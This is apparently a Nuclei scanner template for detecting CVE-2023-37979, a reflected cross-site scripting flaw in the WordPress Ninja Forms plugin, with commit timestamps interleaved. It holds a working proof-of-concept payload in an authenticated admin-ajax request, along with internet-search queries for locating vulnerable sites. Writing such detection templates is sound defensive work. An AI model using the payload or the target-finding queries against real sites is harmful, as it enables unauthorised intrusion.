2023-10-17 07:20:28 +00:00
id : CVE-2023-37979
info :
name : Ninja Forms < 3.6.26 - Cross-Site Scripting
author : r3Y3r53
severity : medium
description : |
2023-10-17 17:52:26 +00:00
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
2023-10-17 07:20:28 +00:00
remediation : Fixed in version 3.6.26
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-37979
- https://wpscan.com/vulnerability/3c7c65e9-c4fd-4d98-ae16-77abffbf7348
- https://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
2023-10-17 17:52:26 +00:00
- http://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html
- https://patchstack.com/articles/multiple-high-severity-vulnerabilities-in-ninja-forms-plugin?_s_id=cve
2023-10-17 07:20:28 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2023-37979
cwe-id : CWE-79
2024-03-23 09:28:19 +00:00
epss-score : 0.00085
2024-05-31 19:23:20 +00:00
epss-percentile : 0.3599
2023-10-17 07:20:28 +00:00
cpe : cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 2
vendor : ninjaforms
product : ninja_forms
framework : wordpress
2024-05-31 19:23:20 +00:00
shodan-query : http.html:/wp-content/plugins/ninja-forms/
fofa-query : body=/wp-content/plugins/ninja-forms/
2023-10-17 17:52:26 +00:00
publicwww-query : /wp-content/plugins/ninja-forms/
2024-01-14 09:21:50 +00:00
tags : cve2023,cve,wpscan,packetstorm,xss,wordpress,authenticated,wp-plugin,wp,ninjaforms
2023-10-17 07:20:28 +00:00
http :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
action=nf_batch_process&batch_type=import_form_template&extraData%5Btemplate%5D=formtemplate-contactformd&method_override=_respond&data=Mehran%7D%7D%3Cimg+src%3Donerror%3Dalert%28document.domain%29%3E
matchers :
- type : dsl
dsl :
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<img src=onerror=alert(document.domain)>") && contains(body_2, "import_form_template")'
- 'status_code_2 == 200'
condition : and
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022051ec230e42ab3d71b2df53e401ba10a6682241d7989e90d7011432f85b6c166902210084f6c6e8762f3a08a4ccce739038532489a572defba5e4e59c17d34a9470de42:922c64590222798bb761d5b6d8e72950